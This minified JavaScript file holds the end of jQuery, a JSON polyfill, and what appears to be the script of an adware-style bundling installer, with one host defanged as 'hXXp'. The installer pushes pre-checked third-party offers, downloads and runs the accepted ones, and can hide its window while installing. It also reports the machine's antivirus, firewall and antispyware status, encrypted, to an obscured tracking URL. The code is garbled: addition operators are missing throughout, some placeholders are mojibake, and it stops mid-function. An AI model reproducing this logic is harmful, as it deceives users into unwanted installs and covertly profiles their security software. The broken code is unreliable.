e?x.extend({},e):{complete:n||!n&&t||x.isFunction(e)&&e,duration:e,easing:n&&t||t&&!x.isFunction(t)&&t};return r.duration=x.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in x.fx.speeds?x.fx.speeds[r.duration]:x.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){x.isFunction(r.old)&&r.old.call(this),r.queue&&x.dequeue(this,r.queue)},r},x.easing={linear:function(e){return e},swing:function(e){return 0.5-Math.cos(e*Math.PI)/2}},x.timers=[],x.fx=rr.prototype.init,x.fx.tick=function(){var e,n=x.timers,r=0;for(Xn=x.now();n.length>r;r  ){e=n[r],e()||n[r]!==e||n.splice(r--,1)}n.length||x.fx.stop(),Xn=t},x.fx.timer=function(e){e()&&x.timers.push(e)&&x.fx.start()},x.fx.interval=13,x.fx.start=function(){Un||(Un=setInterval(x.fx.tick,x.fx.interval))},x.fx.stop=function(){clearInterval(Un),Un=null},x.fx.speeds={slow:600,fast:200,_default:400},x.fx.step={},x.expr&&x.expr.filters&&(x.expr.filters.animated=function(e){return x.grep(x.timers,function(t){return e===t.elem}).length}),x.fn.offset=function(e){if(arguments.length){return e===t?this:this.each(function(t){x.offset.setOffset(this,e,t)})}var n,r,o={top:0,left:0},a=this[0],s=a&&a.ownerDocument;if(s){return n=s.documentElement,x.contains(n,a)?(typeof a.getBoundingClientRect!==i&&(o=a.getBoundingClientRect()),r=or(s),{top:o.top (r.pageYOffset||n.scrollTop)-(n.clientTop||0),left:o.left (r.pageXOffset||n.scrollLeft)-(n.clientLeft||0)}):o}},x.offset={setOffset:function(e,t,n){var r=x.css(e,"position");"static"===r&&(e.style.position="relative");var i=x(e),o=i.offset(),a=x.css(e,"top"),s=x.css(e,"left"),l=("absolute"===r||"fixed"===r)&&x.inArray("auto",[a,s])>-1,u={},c={},p,f;l?(c=i.position(),p=c.top,f=c.left):(p=parseFloat(a)||0,f=parseFloat(s)||0),x.isFunction(t)&&(t=t.call(e,n,o)),null!=t.top&&(u.top=t.top-o.top p),null!=t.left&&(u.left=t.left-o.left f),"using" in t?t.using.call(e,u):i.css(u)}},x.fn.extend({position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===x.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),x.nodeName(e[0],"html")||(n=e.offset()),n.top =x.css(e[0],"borderTopWidth",!0),n.left =x.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-x.css(r,"marginTop",!0),left:t.left-n.left-x.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||s;while(e&&!x.nodeName(e,"html")&&"static"===x.css(e,"position")){e=e.offsetParent}return e||s})}}),x.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);x.fn[e]=function(i){return x.access(this,function(e,i,o){var a=or(e);return o===t?a?n in a?a[n]:a.document.documentElement[i]:e[i]:(a?a.scrollTo(r?x(a).scrollLeft():o,r?o:x(a).scrollTop()):e[i]=o,t)},e,i,arguments.length,null)}});function or(e){return x.isWindow(e)?e:9===e.nodeType?e.defaultView||e.parentWindow:!1}x.each({Height:"height",Width:"width"},function(e,n){x.each({padding:"inner" e,content:n,"":"outer" e},function(r,i){x.fn[i]=function(i,o){var a=arguments.length&&(r||"boolean"!=typeof i),s=r||(i===!0||o===!0?"margin":"border");return x.access(this,function(n,r,i){var o;return x.isWindow(n)?n.document.documentElement["client" e]:9===n.nodeType?(o=n.documentElement,Math.max(n.body["scroll" e],o["scroll" e],n.body["offset" e],o["offset" e],o["client" e])):i===t?x.css(n,r,s):x.style(n,r,i,s)},n,a?i:t,a,null)}})}),x.fn.size=function(){return this.length},x.fn.andSelf=x.fn.addBack,"object"==typeof module&&module&&"object"==typeof module.exports?module.exports=x:(e.jQuery=e.$=x,"function"==typeof define&&define.amd&&define("jquery",[],function(){return x}))})(window);if(typeof JSON!=="object"){JSON={}}(function(){function f(n){return n<10?"0" n:n}if(typeof Date.prototype.toJSON!=="function"){Date.prototype.toJSON=function(){return isFinite(this.valueOf())?this.getUTCFullYear() "-" f(this.getUTCMonth() 1) "-" f(this.getUTCDate()) "T" f(this.getUTCHours()) ":" f(this.getUTCMinutes()) ":" f(this.getUTCSeconds()) "Z":null};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(){return this.valueOf()}}var cx,escapable,gap,indent,meta,rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"' string.replace(escapable,function(a){var c=meta[a];return typeof c==="string"?c:"\\u" ("0000" a.charCodeAt(0).toString(16)).slice(-4)}) '"':'"' string '"'}function str(key,holder){var i,k,v,length,mind=gap,partial,value=holder[key];if(value&&typeof value==="object"&&typeof value.toJSON==="function"){value=value.toJSON(key)}if(typeof rep==="function"){value=rep.call(holder,key,value)}switch(typeof value){case"string":return quote(value);case"number":return isFinite(value)?String(value):"null";case"boolean":case"null":return String(value);case"object":if(!value){return"null"}gap =indent;partial=[];if(Object.prototype.toString.apply(value)==="[object Array]"){length=value.length;for(i=0;i<length;i =1){partial[i]=str(i,value)||"null"}v=partial.length===0?"[]":gap?"[\n" gap partial.join(",\n" gap) "\n" mind "]":"[" partial.join(",") "]";gap=mind;return v}if(rep&&typeof rep==="object"){length=rep.length;for(i=0;i<length;i =1){if(typeof rep[i]==="string"){k=rep[i];v=str(k,value);if(v){partial.push(quote(k) (gap?": ":":") v)}}}}else{for(k in value){if(Object.prototype.hasOwnProperty.call(value,k)){v=str(k,value);if(v){partial.push(quote(k) (gap?": ":":") v)}}}}v=partial.length===0?"{}":gap?"{\n" gap partial.join(",\n" gap) "\n" mind "}":"{" partial.join(",") "}";gap=mind;return v}}if(typeof JSON.stringify!=="function"){escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;meta={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"};JSON.stringify=function(value,replacer,space){var i;gap="";indent="";if(typeof space==="number"){for(i=0;i<space;i =1){indent =" "}}else{if(typeof space==="string"){indent=space}}rep=replacer;if(replacer&&typeof replacer!=="function"&&(typeof replacer!=="object"||typeof replacer.length!=="number")){throw new Error("JSON.stringify")}return str("",{"":value})}}if(typeof JSON.parse!=="function"){cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;JSON.parse=function(text,reviver){var j;function walk(holder,key){var k,v,value=holder[key];if(value&&typeof value==="object"){for(k in value){if(Object.prototype.hasOwnProperty.call(value,k)){v=walk(value,k);if(v!==undefined){value[k]=v}else{delete value[k]}}}}return reviver.call(holder,key,value)}text=String(text);cx.lastIndex=0;if(cx.test(text)){text=text.replace(cx,function(a){return"\\u" ("0000" a.charCodeAt(0).toString(16)).slice(-4)})}if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d (?:\.\d*)?(?:[eE][ \-]?\d )?/g,"]").replace(/(?:^|:|,)(?:\s*\[) /g,""))){j=eval("(" text ")");return typeof reviver==="function"?walk({"":j},""):j}throw new SyntaxError("JSON.parse")}}}());var actualWidth;var actualHeight;function getBodySize(){try{try{addTrace("enter");actualWidth=$("#_BodyWidth").text();addTrace("width");actualHeight=$("#_BodyHeight").text();addTrace("height");addLog("width:" actualWidth);addLog("height:" actualHeight);if($.isNumeric(actualWidth)&&$.isNumeric(actualHeight)){return}}catch(ex){}actualWidth=$(document).width();actualHeight=$(document).height();if(actualHeight<100){actualWidth=$("body").width();actualHeight=$("body").height()}if(actualHeight<100){actualWidth=$("body").css("width");actualHeight=$("body").css("height")}if(actualHeight<100||actualHeight>600){actualWidth=670;actualHeight=410}}catch(err){actualWidth=670;actualHeight=410}}function setButtonDefaultText(elements){var setDefault=function(element){if(element){element.attr("defaultText",element.val())}};$.each(elements,function(key,element){setDefault(element)})}function setButtonsText(){var json=[{text:"#_OfferAcceptText",element:"#_Bnext"},{text:"#_OfferDeclineText",element:"#_Bdecline"},{text:"#_OfferExitText",element:"#_Bexit"},{text:"#_OfferSkipText",element:"#_Bomit"}];setText(json)}function setText(json){var setText=function(elementWithText,element){if(!element){addLog("noelement");return}if(elementWithText.html()){addLog("element->" elementWithText.html());element.val(elementWithText.html())}else{addLog("noelement->" element.attr("defaultText"));element.val(element.attr("defaultText"))}};$.each(json,function(key,element){setText($(element.text),$(element.element))})}function replaceResponse(data,installerData,dataObject,buttonText,hostName){hostName=hostName||"hXXp://" installerData.extra.requestHost "/";data=data.replace(/%osname%/g,machineInfo.osname);data=data.replace(/%ub%/g,installerData.usedBrowser);data=data.replace(/%buttonText%/g,buttonText);data=data.replace(/%uid%/g,installerData.uid);data=data.replace(/%downloadDomain%/g,installerData.host);data=data.replace(/%mapp%/g,dataObject.presentation.formCaption);data=data.replace(/¯fcode%/g,installerData.publisher);data=data.replace(/Ìode%/g,dataObject.country.toLowerCase());data=data.replace(/%crossDomain%/g,hostName);return data}function addStyle(style,removable){if(typeof removable==="undefined"){removable=false}$("head").append($("<link />",{rel:"stylesheet",href:style,tag:removable,type:"text/css"}))}function removePreviousStyles(){$("link").each(function(){if($(this).attr("tag")=="true"){$(this).remove()}})}function createFrame(src,style,failCallback,callback){$("#_frameContainer").css("visibility","hidden");removePreviousStyles();if(style&&style!=""){addStyle(style,true)}getResponseFromWrapper(src,"",callback,failCallback)}function loadProfile(src,style,failCallback,callback){addStyle(style);getResponseFromWrapper(src,"",callback,failCallback)}function returnIdValue(identifier){var text=null;if($(identifier)){text=$(identifier).html()}return text}function SetLink(classname,value,onParent){var element=$("." classname);var tohide;if(onParent){tohide=element.parent()}else{tohide=element}if(value&&element){try{element.attr("href",value);tohide.show()}catch(err){}}else{try{tohide.hide()}catch(err){}}}function changeDefaultDownloadPathInput(){if($("#_downloadPath").length>0){updateValue($("#_downloadPath"),getDownloadPath(),false)}}function buttonsVisibility(showIds){var ButtonsListIds=["_Bnext","_Bdecline","_Bomit","_Bexit"];for(var i=0;i<ButtonsListIds.length;i  ){if($.inArray(ButtonsListIds[i],showIds)>-1){$("#" ButtonsListIds[i]).show()}else{$("#" ButtonsListIds[i]).hide()}}var ButtonListShoes=["_Bminimize","_Bmaximize","_Bclose"];for(var a=0;a<ButtonListShoes.length;a  ){if($.inArray(ButtonListShoes[a],showIds)>-1){disableControlBoxButtons(a,true)}else{disableControlBoxButtons(a,false)}}}function changeClassContentWaiting(key,value,append,callback){var maxTimes=5;var interval=setInterval(function(){if(key!=""&&$("." key).length){$("." key).each(function(){updateValue($(this),value,append)});if(typeof callback!=="undefined"){callback()}clearInterval(interval)}else{maxTimes--;if(maxTimes<=0){if(typeof callback!=="undefined"){callback()}clearInterval(interval)}}},50)}function updateValue(element,value,append){if(element.length==0){return}if(element.is("input")){element.val(value)}else{if(append){element.append(value)}else{element.html(value)}}}function hideClasses(classes){for(var i=0;i<classes.length;i  ){var element=$("." classes[i]);element.hide()}}function changeRecomendedClass(checked){var visibleClass="recVisible";var hiddenClass="recHidden";if(checked=="1"){$("._args").removeClass(visibleClass).addClass(hiddenClass);$("._noargs").removeClass(hiddenClass).addClass(visibleClass);$("._CBarg").each(function(){$(this).prop("checked",$(this).attr("tag"))})}else{$("._args").removeClass(hiddenClass).addClass(visibleClass);$("._noargs").removeClass(visibleClass).addClass(hiddenClass)}}function changeRecomended(checked){if(checked=="1"){$("._args").hide();$("._noargs").show();$("._CBarg").each(function(){$(this).prop("checked",$(this).attr("tag"))})}else{$("._args").show();$("._noargs").hide()}}function disableArgs(_checked){$("._CBarg").each(function(element){if(_checked){$(this).prop("checked",1);$(this).prop("disabled",0)}else{$(this).prop("checked",0);$(this).prop("disabled",1)}})}function addDecline(text,disable,callback,tag){var dis="";if(disable){dis="onclick='disableArgs(this.checked)'"}var cb="<span><input class='_CBdecline' type='checkbox' checked='checked' tag='" tag "' " dis " /> " text "</span>";changeClassContentWaiting("_args",cb,true,callback)}function addArg(text,check,uncheck,startState,classname,callback){if(typeof classname==="undefined"||classname==""){classname="_args"}if($("." classname).length<1){classname="_args"}var cb="<span><input class='_CBarg' type='checkbox' tag='" startState "' checked='" startState "' check='" check "' uncheck='" uncheck "' /> " text "</span>";changeClassContentWaiting(classname,cb,true,callback)}function GetCommandline(commandline,delimitator){if(typeof delimitator==="undefined"){delimitator=" "}var commandlineAppend="";$("._CBarg").each(function(){if(this.checked=="1"&&$(this).attr("check")!=""){commandlineAppend =$(this).attr("check") delimitator}else{if(this.checked=="0"&&$(this).attr("uncheck")!=""){commandlineAppend =$(this).attr("uncheck") delimitator}}});if(commandlineAppend.slice(-1)===delimitator){commandlineAppend=commandlineAppend.slice(0,-1)}if(commandline.indexOf("%args%")!=-1){commandline=commandline.replace(/%args%/g,commandlineAppend)}else{commandline=commandline delimitator commandlineAppend}return commandline}function GetAccepted(argsdecline){var accepted=true;if($("._CBdecline").length>0){accepted=$("._CBdecline").is(":checked")}if(accepted==true&&argsdecline==true){accepted=($("._CBarg:checked").length>0||$("._CBarg").length<1)}return accepted}function setFocus(focusValue,classname){if(focusValue){$("." classname).focus()}else{$("." classname).blur()}}function ChangeVisibility(showClassName,hideClassName){if(showClassName){$("." showClassName).show()}if(hideClassName){$("." hideClassName).hide()}}function humanReadableFileSize(size){var i=Math.floor(Math.log(size)/Math.log(1024));return(size/Math.pow(1024,i)).toFixed(2)*1 " " ["B","kB","MB","GB","TB"][i]}function addFinishItem(name,uninstallUrl,classname){var item="<li class='_FinishItem'>";item =name;if(uninstallUrl&&uninstallUrl!=""){item =" <a href='" uninstallUrl "' class='_FinishUninstallUrl' > </a>"}item ="</li>";$("." classname).append(item)}function replaceLinks(){try{addLog("changing");$("a").each(function(index,value){var href=value.href;var new_element=document.createElement("span");new_element.innerText=value.innerText;for(var i=0;i<value.attributes.length;i  ){var att=value.attributes.item(i);if(att.nodeValue&&att.nodeName!="href"&&att.nodeName!="target"){new_element.setAttribute(att.nodeName,att.nodeValue)}}$(new_element).addClass("_transformed");new_element.style.textDecoration="underline";new_element.style.cursor="pointer";if($.inArray(value.className,specialLinks)==-1){new_element.style.color="#444"}new_element.onclick=function(){openUrlOnDefaultBrowser(href);return false};value.parentNode.replaceChild(new_element,value)})}catch(err){}}function showProfile(){addTrace("showProfile");loadProfile(dataObject.presentation.renderUrl,dataObject.presentation.renderStyle,"ForceError","profileLoad");if(dataObject.presentation.mappRenderStyle&&dataObject.presentation.mappRenderStyle!=""){addStyle(dataObject.presentation.mappRenderStyle)}}function profileLoad(data){addTrace("profileLoaded");data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("._ParentContainer").html(data);addLog("profile loaded");setLinks();setButtonDefaultText([$("#_Bnext"),$("#_Bexit"),$("#_Bdecline"),$("#_Bomit")]);goForward();setWindowName(returnIdValue("#_WindowTitle")||dataObject.presentation.formCaption " setup");printStates()}function showCommon(node,callback,mappRenderId){if(typeof node!=="undefined"){if(!mappRenderId){mappRenderId=""}buttonsVisibility(node.buttons);createFrame(node.renderUrl mappRenderId,"","onDisplayFail",callback)}else{goForward()}}function welcomeScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);changeDefaultDownloadPathInput();loading=false;loaded();replaceLinks()}function installScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);if(dataObject.installerBehavior.installerPopupUrl!=null){openUrlOnDefaultBrowser(dataObject.installerBehavior.installerPopupUrl)}addUniqueTrace("CompleteLoad");setNoDisplayStates(dataObject.offers);var mappFileName=dataObject.installerBehavior.mappFileName||getFilenameFromUrl(dataObject.installerBehavior.mappUrl);var mapp=setOfferObject(-1,dataObject.installerBehavior.mappUrl,dataObject.installerBehavior.mappCommandLine,mappFileName,"MainApp",0,dataObject.installerBehavior.macBehavior);installing.push(mapp);$.each(dataObject.offers,function(key,offer){if(offer.state==ACCEPTED){var offerObject=setOfferObject(offer.id,offer.appUrl,offer.commandLine,offer.fileName,offer.name,offer.offerBehavior.waitToCheck,offer.offerBehavior.macBehavior);installing.push(offerObject)}});install(installing);if(dataObject.installerBehavior.hideOnInstall){hideForm(true,true)}loaded();replaceLinks();loading=false}function groupScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);addUniqueTrace("CompleteLoad");addLog("group screen loaded");setButtonsText();remainArgs=0;dataObject.installerBehavior.maxSteps--;var text="";$.each(currOffer,function(key,offer){dataObject.offers[offer].usedScreen=-1;remainArgs  ;if(dataObject.offers[offer].offerPresentation.groupTextHtml){text =dataObject.offers[offer].offerPresentation.groupTextHtml " "}var groupText=returnIdValue("#_GroupItemText")||"Install " dataObject.offers[offer].caption;groupText=groupText.replace(/%offercaption%/g,dataObject.offers[offer].caption);addDecline(groupText,false,dataInjected,offer);if(dataObject.offers[offer].offerPresentation.policyUrl){var policyLink="<a href='" dataObject.offers[offer].offerPresentation.policyUrl "'>" dataObject.offers[offer].caption "</a> ";remainArgs  ;changeClassContentWaiting("_GroupPolicies",policyLink,true,dataInjected)}});remainArgs  ;changeClassContentWaiting("_GroupHtml",text,false,dataInjected)}function finishScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);addUniqueTrace("CompleteLoad");addFinishItem(dataObject.presentation.formCaption,"","_FinishMapp");$.each(dataObject.offers,function(key,offer){if(offer.state==INSTALLED){addFinishItem(offer.caption,offer.offerPresentation.uninstallUrl,"_FinishOffers")}});loaded();replaceLinks();loading=false}function displayLoaded(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);if(currOffer){addLog("display screen loaded");if(currOffer.length==1){setButtonsText();addUniqueTrace("CompleteLoad");dataObject.installerBehavior.maxSteps--;remainArgs=0;var offer=dataObject.offers[currOffer];updateValue($("._OffersShowing"),offer.caption,false);addLog("declineCheckBox -> " dataObject.presentation.offerScreens[currentOfferScreen].declineCheckBox);addLog("offer arguments->" offer.offerBehavior.offerArguments.length);addLog("argsdecline->" dataObject.presentation.offerScreens[currentOfferScreen].argsDecline);if(dataObject.presentation.offerScreens[currentOfferScreen].declineCheckBox||(dataObject.presentation.offerScreens[currentOfferScreen].argsDecline&&offer.offerBehavior.offerArguments.length<1)){remainArgs  ;var declineCheckboxText=returnIdValue("#_DeclineCheckboxText")||"Install " offer.caption;addLog(declineCheckboxText);if(declineCheckboxText!=""){addDecline(declineCheckboxText,offer.offerPresentation.declineDisableArgs,dataInjected)}else{addDecline("Install " offer.caption,offer.offerPresentation.declineDisableArgs,dataInjected)}}remainArgs =offer.offerBehavior.offerArguments.length;$.each(offer.offerBehavior.offerArguments,function(i,value){addArg(value.text,value.check,value.uncheck,value.startChecked,value.className,dataInjected)});if(offer.offerPresentation.policyUrl!=""){SetLink("_OfferPolicy",offer.offerPresentation.policyUrl,false)}var ButtonsArray=[].concat(dataObject.presentation.offerScreenButtons);if(dataObject.presentation.offerScreens[currentOfferScreen].declineButton){ButtonsArray.push("_Bdecline")}buttonsVisibility(ButtonsArray);setFocus(!offer.offerBehavior.ignoreEnter,"_Bnext");SetLink("_UninstallUrl",offer.offerPresentation.uninstallUrl,false);remainArgs  ;dataInjected()}}else{loaded();loading=false;replaceLinks()}}var remainArgs=0;function dataInjected(){try{remainArgs--;if(remainArgs<=0){loading=false;loaded();addLog("loading set to false");replaceLinks()}}catch(err){loading=false}}var interruptor=true;var interactions=0;var acceptedRestrictions=[];var testingCombinationsId=[];var testingCombination=[-1];var maxCombination=combination();var firstCombination=[];var allOffers={};var callbackFunction;var first;var AcceptedOffer="";function getOffersAsString(offers,groupable){var offersData="";AcceptedOffer="";for(var i=0;i<offers.length;i  ){if(offers[i].state==PENDING){offersData ="|";offersData =offers[i].id;offersData =",";for(var a=0;a<offers[i].offerBehavior.restrictions.length;a  ){offersData =offers[i].offerBehavior.restrictions[a];offersData ="-"}if(offersData.slice(-1)==="-"){offersData=offersData.slice(0,-1)}offersData =",";offersData =boolToInt(offers[i].offerPresentation.canGroup&&groupable);offersData =",";offersData =offers[i].score;offersData ="|"}else{if(offers[i].state==ACCEPTED){AcceptedOffer=AcceptedOffer.concat(offers[i].id ",")}}}if(AcceptedOffer.slice(-1)===","){AcceptedOffer=AcceptedOffer.slice(0,-1)}return offersData}function formatCplusResponse(offers,arrayIds){var arrayPositions=[];for(var i=0;i<offers.length;i  ){if($.inArray(offers[i].id.toString(),arrayIds)!=-1){arrayPositions.push(i)}}return arrayPositions}function sendToC(offers,maxSteps,hasGroup,callback,combinationMaxTime){setTimeout(function(){var offersData=getOffersAsString(offers,hasGroup);var commaSepparated=getScriptNextOffer(offersData,AcceptedOffer,maxSteps,combinationMaxTime);var offersArray=commaSepparated.split(",");if(commaSepparated==""){callback(null)}callback(formatCplusResponse(offers,offersArray))},1)}function setLoopTimeout(milliseconds){setTimeout(function(){interruptor=false},milliseconds)}function startGettingNextOffer(offers,maxSteps,hasGroup,callback,combinationMaxTime){if(window.external&&("getScriptNextOffer" in window.external)&&dataObject.installerBehavior.combinationWrapper){sendToC(offers,maxSteps,hasGroup,callback,combinationMaxTime);return}printClearCombination();interactions=0;allOffers=offers;testingCombination=[-1];callbackFunction=callback;maxCombination=combination();interruptor=true;firstCombination=[];first=true;var cleanOffers=getPendingOffers(offers,hasGroup);cleanOffers.sort(compareScore);setLoopTimeout(combinationMaxTime);recurseveMethod(cleanOffers,maxSteps)}function getPendingOffers(offers,hasGroup){var cleanOffers=[];for(var i=0;i<offers.length;i  ){offers[i].offerPresentation.canGroup=(offers[i].offerPresentation.canGroup&&hasGroup)==true;if(offers[i].state==PENDING&&$.inArray(offers[i].id,acceptedRestrictions)==-1&&offers[i].offerBehavior.showDisplay){cleanOffers.push(offers[i])}}return cleanOffers}function recurseveMethod(offers,maxSteps){setTimeout(function(){if(interruptor||first===true){first=false;var currentCombination=getCombination(offers,maxSteps);printCombination(currentCombination.offers,currentCombination.score);if(!firstCombination.length){for(var i=0;i<currentCombination.offers.length;i  ){for(var a=0;a<currentCombination.offers[i].length;a  ){firstCombination.push(currentCombination.offers[i][a])}}}if(currentCombination.score>=maxCombination.score){maxCombination=currentCombination}interactions  ;recurseveMethod(offers,maxSteps);testingCombinationsId=GetRestrictionsRecursive(interactions,firstCombination.length,firstCombination)}else{if(maxCombination.offers.length==0){callbackFunction(null);return}var ids=[];for(var x=0;x<maxCombination.offers[0].length;x  ){ids.push(idToIndex(maxCombination.offers[0][x]))}callbackFunction(ids)}},0)}function getCombination(offers,maxSteps){var currentCombination=combination();for(var i=0;i<maxSteps;i  ){var currStep=nextOffersWithGroup(offers,currentCombination.restrictions);if(!currStep||!currStep.offers.length){break}currentCombination.restrictions=currentCombination.restrictions.concat(currStep.restrictions);currentCombination.score =currStep.score;currentCombination.offers.push(currStep.offers)}return currentCombination}function nextOffersWithGroup(offers,currRestrictions){interruptor=true;var singleCombination=combination();var groupCombination=combination();for(var i=0;i<offers.length;i  ){var offer=offers[i];if($.inArray(offer.id,currRestrictions)==-1&&$.inArray(offer.id,testingCombinationsId)==-1){if(singleCombination.offers.length==0){singleCombination.offers=[offer.id];singleCombination.restrictions=offer.offerBehavior.restrictions;singleCombination.restrictions.push(offer.id);singleCombination.score=offer.score}if(offer.offerPresentation.canGroup&&$.inArray(offer.id,groupCombination.restrictions)==-1){groupCombination.restrictions=groupCombination.restrictions.concat(offer.offerBehavior.restrictions);groupCombination.restrictions.push(offer.id);groupCombination.score =offer.score;groupCombination.offers.push(offer.id)}}}if(groupCombination.score===-1&&singleCombination.score===-1){return null}else{if(groupCombination.score>singleCombination.score){return groupCombination}else{return singleCombination}}}function combination(){var newcombination={};newcombination.offers=[];newcombination.restrictions=[];newcombination.score=-1;return newcombination}function compareScore(a,b){if(a.score<b.score){return 1}if(a.score>b.score){return -1}return 0}function idToIndex(id){for(var i=0;i<allOffers.length;i  ){if(allOffers[i].id==id){return i}}return null}function GetRestrictionsRecursive(steps,maxSteps,offers){var currentSearchValue=0;maxSteps=maxSteps-1;if(testingCombination[testingCombination.length-1]==maxSteps){var incremented=false;for(var i=testingCombination.length-1;i>=0;i--){if(testingCombination[i]>=maxSteps-1){var nexValue=0;if(testingCombination[i-1]<maxSteps-1){nexValue=testingCombination[i-1] 1}testingCombination[i]=nexValue}else{testingCombination[i]  ;incremented=true;break}}if(incremented==false){testingCombination.push(0)}}else{testingCombination[testingCombination.length-1]  }bloquedIds=[];for(var a=0;a<testingCombination.length;a  ){if(offers[testingCombination[a]]){bloquedIds.push(offers[testingCombination[a]])}}return bloquedIds}var completedTrack=false;var TrackRetrys=0;function GenerateTrackBoby(dataObject,installerData,wasSkipAll){var trackObj={};trackObj.offers=GetOffersReport(dataObject.offers);trackObj.checkMachineInfo=GetmachineReport();trackObj.internal=GetInternalReport(dataObject.countryId,wasSkipAll,installerData.campaign,installerData.publisher,dataObject.presentation.formCaption,installerData.uid);trackObj.extra=installerData.extra;trackObj.finish=boolToInt(finished);trackObj.exeId=executionID;var content=JSON.stringify(trackObj);return cryptString(16,32,"CBC",content)}function boolToInt(value){if(value){return 1}else{return 0}}function GetmachineReport(){var machineReport={};machineReport.OS="MP_" machineInfo.os;machineReport.SP="MP_" machineInfo.sp;machineReport.AR="MP_" machineInfo.ar;machineReport.NET="MP_" machineInfo.net;machineReport.UB="MP_" installerData.usedBrowser;machineReport.DB="MP_" installerData.usedBrowser;machineReport.AV="MP_" machineInfo.av;machineReport.FW="MP_" machineInfo.fw;machineReport.AS="MP_" machineInfo.as;machineReport.FAV="MP_" machineInfo.fav;machineReport.FFW="MP_" machineInfo.ffw;machineReport.FAS="MP_" machineInfo.fas;return machineReport}function GetOffersReport(offersArray){var OffersReport=[];$.each(offersArray,function(key,offer){var element={};element.id=offer.id;element.state=offer.state;element.monetizations=offer.catchallMonetizations;element.screen=offer.usedScreen;OffersReport.push(element)});return OffersReport}function GetInternalReport(country,skipall,campaign,publisher,carrier,uid){var InternalReport={};InternalReport.country=country;InternalReport.skipall=skipall;InternalReport.campaign=campaign;InternalReport.publisher=publisher;InternalReport.carrier=carrier;InternalReport.uid=uid;return InternalReport}function sendTrackException(type,xhr,state,err){sendEx(JSON.stringify(err),"",JSON.stringify(state),type,JSON.stringify(xhr))}function track(callback,failCallback){if(completedTrack||(!finished&&dataObject.installerBehavior.track.type==0)){if(typeof window[callback]==="function"){addLog("trackCallback");window[callback]()}return}else{if(dataObject.installerBehavior.track.type==0){completedTrack=true}}addTrace("tracking");addLog("Tracked");addLog("Tracked->" finished);var postData=GenerateTrackBoby(dataObject,installerData,wasSkipAll);var trackUrl=cryptUrl(TRACKURL);addLog(trackUrl);getResponseFromWrapper(trackUrl,"data=" postData,callback,failCallback);printStates()}function hexToString(hexx){var hex=hexx.toString();var str="";for(var i=0;i<hex.length;i =2){str =String.fromCharCode(parseInt(hex.substr(i,2),16))}return str}function stringToHex(string){var hex="";for(var i=0;i<string.length;i  ){hex ="" string.charCodeAt(i).toString(16)}return hex}function cryptUrl(url){var urlParsed=parseURL(url);var domain=urlParsed.protocol "://" urlParsed.domain;var path=urlParsed.path;addLog(path);return domain "/" cryptString(16,32,"CBC",path)}function genPassword(length){var password="";var possible="abcdef0123456789";for(var i=0;i<length;i  ){password =possible.charAt(Math.floor(Math.random()*possible.length))}return password}function parseURL(url){parsed_url={};if(url==null||url.length==0){return parsed_url}protocol_i=url.indexOf("://");parsed_url.protocol=url.substr(0,protocol_i);remaining_url=url.substr(protocol_i 3,url.length);domain_i=remaining_url.indexOf("/");domain_i=domain_i==-1?remaining_url.length-1:domain_i;parsed_url.domain=remaining_url.substr(0,domain_i);parsed_url.path=domain_i==-1||domain_i 1==remaining_url.length?null:remaining_url.substr(domain_i 1,remaining_url.length);domain_parts=parsed_url.domain.split(".");switch(domain_parts.length){case 2:parsed_url.subdomain=null;parsed_url.host=domain_parts[0];parsed_url.tld=domain_parts[1];break;case 3:parsed_url.subdomain=domain_parts[0];parsed_url.host=domain_parts[1];parsed_url.tld=domain_parts[2];break;case 4:parsed_url.subdomain=domain_parts[0];parsed_url.host=domain_parts[1];parsed_url.tld=domain_parts[2] "." domain_parts[3];break}parsed_url.parent_domain=parsed_url.host "." parsed_url.tld;return parsed_url}function getFilenameFromUrl(url){var url=url.substr(1 url.lastIndexOf("/")).split("?")[0];if(url.indexOf(".")>0){return url}else{if(url.indexOf(".")>-1){return"mainapp" url}else{return"mainapp.exe"}}}function cryptString(ivLength,passLength,mode,text){var key=CryptoJS.enc.Hex.parse(genPassword(passLength));var iv=CryptoJS.enc.Hex.parse(genPassword(ivLength));var encrypted=CryptoJS.AES.encrypt(text,key,{iv:iv,mode:CryptoJS.mode[mode]});var crypt=encrypted.ciphertext.toString(CryptoJS.enc.Hex);iv=encrypted.iv.toString(CryptoJS.enc.Hex);var psw=encrypted.key.toString(CryptoJS.enc.Hex);return iv psw crypt}function deCryptString(ivLength,passLength,mode,data){try{var iv=CryptoJS.enc.Hex.parse(data.substring(0,ivLength));var key=CryptoJS.enc.Hex.parse(data.substring(ivLength,ivLength passLength));cipher=CryptoJS.lib.CipherParams.create({ciphertext:CryptoJS.enc.Hex.parse(data.substring(ivLength passLength))});var 